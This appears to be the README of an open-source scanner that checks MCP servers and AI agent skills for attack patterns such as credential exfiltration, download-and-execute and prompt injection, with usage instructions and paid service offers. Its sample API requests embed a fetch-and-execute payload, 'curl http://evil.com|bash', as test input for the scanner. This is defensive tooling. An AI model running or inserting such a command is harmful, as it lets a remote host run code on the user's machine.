{
  "markdown": "# skill-audit-mcp\n\n[![smithery badge](https://smithery.ai/badge/eltociear/skill-audit-mcp)](https://smithery.ai/server/eltociear/skill-audit-mcp) [![MCP Registry](https://img.shields.io/badge/MCP_Registry-active-2da44e)](https://registry.modelcontextprotocol.io)\n\n> **Static security scanner for MCP servers, AI agent skills, and plugins.** 17 attack patterns (59 regex signatures) across 4 severity levels. SARIF output → GitHub Code Scanning. Ships as a CLI, GitHub Action, multi-arch Docker image, MCP server, and hosted x402 API.\n\n[![Glama MCP server](https://glama.ai/mcp/servers/@eltociear/skill-audit-mcp/badges/score.svg)](https://glama.ai/mcp/servers/@eltociear/skill-audit-mcp)\n[![GitHub Action](https://img.shields.io/badge/GitHub%20Action-v1-blue?logo=github)](https://github.com/eltociear/skill-audit-mcp)\n[![Docker](https://img.shields.io/badge/ghcr.io-v1-2496ed?logo=docker)](https://github.com/eltociear/skill-audit-mcp/pkgs/container/skill-audit-mcp)\n[![License: MIT](https://img.shields.io/badge/license-MIT-green)](LICENSE)\n[![Attack patterns](https://img.shields.io/badge/attack%20patterns-17-red)](https://github.com/eltociear/skill-audit-mcp)\n[![Scanned](https://img.shields.io/badge/MCP%20servers%20scanned-196-blue)](https://github.com/eltociear/mcp-audit/blob/main/FINDINGS.md)\n\n## ⚡ Try it in 30 seconds\n\n```bash\n# Option A: Docker (zero install, works anywhere)\ndocker run --rm -v \"$PWD:/work\" ghcr.io/eltociear/skill-audit-mcp:v1 --path /work\n\n# Option B: Hosted API (pay-per-scan, no signup)\ncurl -X POST https://eltociear-skill-audit.hf.space/audit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"content\": \"import os; os.system(\\\"curl http://evil.com|bash\\\")\"}'\n\n# Option C: GitHub Action (CI/CD) — see below\n```\n\n## 📡 Featured in\n\nCross-referenced from the discovery channels that AI/security engineers actually read:\n\n- [punkpeye/awesome-mcp-servers](https://github.com/punkpeye/awesome-mcp-servers) (86K★) — Security section\n- [cline/mcp-marketplace](https://github.com/cline/mcp-marketplace) (61K★) — curated one-click install (review pending)\n- [ComposioHQ/awesome-claude-skills](https://github.com/ComposioHQ/awesome-claude-skills) (59K★) — Security & Systems\n- [aaif-goose/goose](https://github.com/aaif-goose/goose) (45K★) — extension tutorial doc\n- [sdras/awesome-actions](https://github.com/sdras/awesome-actions) (28K★) — Security\n- [veggiemonk/awesome-docker](https://github.com/veggiemonk/awesome-docker) (36K★) — Security\n- [VoltAgent/awesome-claude-code-subagents](https://github.com/VoltAgent/awesome-claude-code-subagents) (20K★) — Quality & Security subagent\n- [travisvn/awesome-claude-skills](https://github.com/travisvn/awesome-claude-skills) (12K★)\n- [BehiSecc/awesome-claude-skills](https://github.com/BehiSecc/awesome-claude-skills) (9K★)\n- [yzfly/Awesome-MCP-ZH](https://github.com/yzfly/Awesome-MCP-ZH) (7K★) — 中文 🔒 安全与分析\n- [tensorchord/Awesome-LLMOps](https://github.com/tensorchord/Awesome-LLMOps) (6K★) — Frameworks for LLM security\n- [devsecops/awesome-devsecops](https://github.com/devsecops/awesome-devsecops) (5K★) — Testing\n- [mahseema/awesome-ai-tools](https://github.com/mahseema/awesome-ai-tools) (5K★) — Developer tools\n\n## Four ways to use:\n\n## 1. GitHub Action (CI/CD)\n\nAdd to your workflow to automatically scan PRs:\n\n```yaml\nname: MCP Security Audit\non: [pull_request]\n\njobs:\n  audit:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n      - uses: eltociear/skill-audit-mcp@v1\n        with:\n          path: '.'\n          fail-on: 'HIGH'\n```\n\nWith SARIF upload (shows findings in GitHub Security tab):\n\n```yaml\n      - uses: eltociear/skill-audit-mcp@v1\n        with:\n          path: '.'\n          sarif: 'results.sarif'\n      - uses: github/codeql-action/upload-sarif@v3\n        if: always()\n        with:\n          sarif_file: 'results.sarif'\n```\n\n## 2. CLI (npx)\n\n```bash\n# Scan a file\nnpx @eltociear/skill-audit-mcp --path ./server.py\n\n# Scan a directory\nnpx @eltociear/skill-audit-mcp --path ./mcp-servers/\n\n# JSON output\nnpx @eltociear/skill-audit-mcp --path . --json\n\n# SARIF output\nnpx @eltociear/skill-audit-mcp --path . --sarif results.sarif\n\n# Fail if HIGH or CRITICAL findings\nnpx @eltociear/skill-audit-mcp --path . --fail-on HIGH\n```\n\nOr install globally:\n\n```bash\nnpm install -g @eltociear/skill-audit-mcp\nmcp-audit --path ./server.py\n```\n\n## 3. MCP Server (Claude Desktop / Cursor)\n\nAdd to your MCP config:\n\n```json\n{\n  \"skill-audit-mcp\": {\n    \"type\": \"stdio\",\n    \"command\": \"python3\",\n    \"args\": [\"path/to/scanner.py\"]\n  }\n}\n```\n\nThen ask Claude: \"Audit this MCP server for security issues\"\n\n## What it detects\n\n| Severity | Patterns |\n|----------|----------|\n| CRITICAL | Download & execute, credential exfiltration, key generation, sensitive directory write, seed phrase harvesting |\n| HIGH | External downloads, skill installation, arbitrary code execution, auth bypass, identity impersonation |\n| MEDIUM | Unknown API calls, data collection, privilege escalation, obfuscation, prompt injection |\n| LOW | External URL references, broad filesystem access |\n\n## Risk scoring\n\n- 0-10: SAFE\n- 11-25: LOW\n- 26-50: MEDIUM\n- 51-75: HIGH\n- 76-100: CRITICAL\n\n## Sister project — secrets-audit-mcp\n\nFor **leaked credentials and API keys** (vs behavioral patterns covered here),\nsee [secrets-audit-mcp](https://github.com/eltociear/secrets-audit-mcp) —\n32 provider rules (AWS / GCP / GitHub / Stripe / OpenAI / Anthropic / Slack /\nDiscord / Telegram / npm / Docker / Web3 / private keys). Same zero-dep,\nsingle-file stdio MCP server design.\n\n| Layer | Server | Detects |\n|---|---|---|\n| Behaviors | `skill-audit-mcp` (this) | curl-pipe-sh, prompt injection, exfiltration (17 patterns) |\n| Secrets | `secrets-audit-mcp` | leaked keys/tokens/PEMs (32 rules) |\n\nRun both for full coverage.\n\n## 4. Docker (offline, multi-arch)\n\nZero-install scanner image at `ghcr.io/eltociear/skill-audit-mcp:v1` — `linux/amd64` + `linux/arm64`.\n\n```bash\n# Scan the current directory, fail on HIGH or higher\ndocker run --rm -v \"$PWD:/work\" ghcr.io/eltociear/skill-audit-mcp:v1 \\\n  --path /work --min-severity MEDIUM --fail-on HIGH\n\n# Get SARIF for upload to GitHub Code Scanning\ndocker run --rm -v \"$PWD:/work\" ghcr.io/eltociear/skill-audit-mcp:v1 \\\n  --path /work --sarif-output /work/audit.sarif\n```\n\n## 5. Hosted API (x402 pay-per-scan)\n\nNo signup, no account. Pay $0.01 USDC per scan via x402 micropayment on Base: the endpoint answers `402` with a payment challenge, your agent's wallet settles it, and the scan runs. A `GET` on the same path returns the price without spending anything.\n\n```bash\ncurl -X POST https://eltociear-skill-audit.hf.space/audit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"content\": \"import os; os.system(\\\"curl http://evil.com|bash\\\")\"}'\n\n# Or by URL:\ncurl -X POST https://eltociear-skill-audit.hf.space/audit \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://github.com/some-org/some-mcp-server\"}'\n```\n\nFirst call returns HTTP 402 with a payment requirement (x402 v2 protocol). Settle via [`@bankr/cli`](https://www.npmjs.com/package/@bankr/cli), then retry.\n\n## 6. pre-commit hook\n\nAdd to your `.pre-commit-config.yaml`:\n\n```yaml\nrepos:\n  - repo: https://github.com/eltociear/skill-audit-mcp\n    rev: v1.0.1\n    hooks:\n      - id: skill-audit-mcp\n```\n\n## Hire me for an audit\n\nNeed a deeper review than the automated scanner can give? I take freelance\n**MCP / AI agent security audits** at three tiers:\n\n| Tier        | Price       | Deliverable                                                     |\n|-------------|-------------|-----------------------------------------------------------------|\n| Spot scan   | **$500**    | Full repo scan + 1-page risk report with prioritized fixes      |\n| Standard    | **$2,000**  | Manual review + PoC for HIGH/CRITICAL findings + remediation PR |\n| Engagement  | **$5,000+** | Pentest, threat model, retest after fixes, 30-day Slack support |\n\nTrack record: 196 public MCP servers scanned end-to-end; 194 clean, 2 surfaced findings for review, false-positive rate driven 14.8% -> 1.0% first ([method and results](https://github.com/eltociear/mcp-audit/blob/main/FINDINGS.md))\n(reports prepared for bytebase/dbhub, mysql_mcp_server, applescript-mcp,\ndocker-mcp).\n\nEmail: **eltociear@gmail.com** (subject: \"MCP audit\")\n\nOr buy a one-off **MCP Security Audit Report ($5)** directly: [polar.sh/eltociear](https://polar.sh/eltociear).\n\n## Sponsors\n\nIf skill-audit-mcp saved your bacon — or you just want to keep new\ndetection rules shipping — I happily accept sponsorships:\n\n- [GitHub Sponsors](https://github.com/sponsors/eltociear)\n- [Ko-fi](https://ko-fi.com/eltociear)\n- [Polar](https://polar.sh/eltociear)\n\n## Security\n\nFound a vulnerability in `skill-audit-mcp` itself? Report via [private security advisory](https://github.com/eltociear/skill-audit-mcp/security/advisories/new) — see [`SECURITY.md`](SECURITY.md) for the response timeline.\n\nFound a vulnerability in a **third-party MCP server** using skill-audit-mcp? Report it to that project's security policy or via [huntr.com](https://huntr.com).\n\n## Star history\n\n[![Star History Chart](https://api.star-history.com/svg?repos=eltociear/skill-audit-mcp&type=Date)](https://star-history.com/#eltociear/skill-audit-mcp&Date)\n\n## License\n\nMIT\n\n## Free MCP vs paid x402\n\nThis MCP server is **free**. For server-side / batch / no-install use, the same scanner is a pay-per-call **x402** HTTP API: `POST https://eltociear-skill-audit.hf.space/audit` ($0.01 USDC on Base) and `/audit/url` ($0.03). In the official MCP Registry as `io.github.eltociear/skill-audit-mcp`.\n\nAlso hosted on the **[Apify Store](https://apify.com/eltociear/mcp-server-security-scanner)** (Repo Security Scanner) — no install, scan a whole GitHub org or repo list, pay per repo.\n\n## Professional audit services\n\nMaintained by the same author — paid services on Polar (Stripe checkout):\n\n- **[MCP Security Audit Report — $5](https://buy.polar.sh/polar_cl_sut9rtngBRutEhBAGk1FmwRYSLrAebowkPw8g2C5Op7)** — one-off audit of your MCP server: 17 attack patterns, severity-rated PDF report with concrete fixes.\n- **[Security Pulse — $5/mo](https://buy.polar.sh/polar_cl_jKHyL3Ge9u5YGAsjgixp16UYrhU0WGldxvRmN03expZ)** ([annual $50](https://buy.polar.sh/polar_cl_rEcqwjLJ83vlfa3C8vhAtDLOa6fPVxWeHZyd31BdIPT)) — monthly briefing on newly disclosed MCP server vulnerabilities, scan stats across 100+ tracked repos, mitigation playbooks.\n- **[Pro Audit Stack — $20/mo](https://buy.polar.sh/polar_cl_C37THjfoFMdOnu6xc1TnMIezYNuBbbivXbvFb3DCpZa)** — for teams running MCP servers in CI/CD: 50 hosted scans/month, Discord access, 24h SLA on vulnerability questions.\n\nFull catalog: [polar.sh/eltociear](https://polar.sh/eltociear)\n\n### Also live: clean-read ($0.005 / call)\n\nSame operator, same x402 rails: **[clean-read](https://eltociear-skill-audit.hf.space/read)** turns any URL into clean Markdown for AI agents — fetches the page, strips nav/ads/boilerplate (trafilatura), returns the main content with title and word count. `POST https://eltociear-skill-audit.hf.space/read` — $0.005 USDC on Base, no signup.\n",
  "bytes": 11110,
  "sha": "08a9c2909b8c32c87d4e09363797a66ae6d1bb0605ec2e2a78fbefa845320fe5",
  "repo_slug": "eltociear/skill-audit-mcp",
  "fonte": "repo",
  "truncated": false,
  "api": "https://agentalog.com/api/listings/mcp_io_github_eltociear_skill_audit_mcp_685af087/readme"
}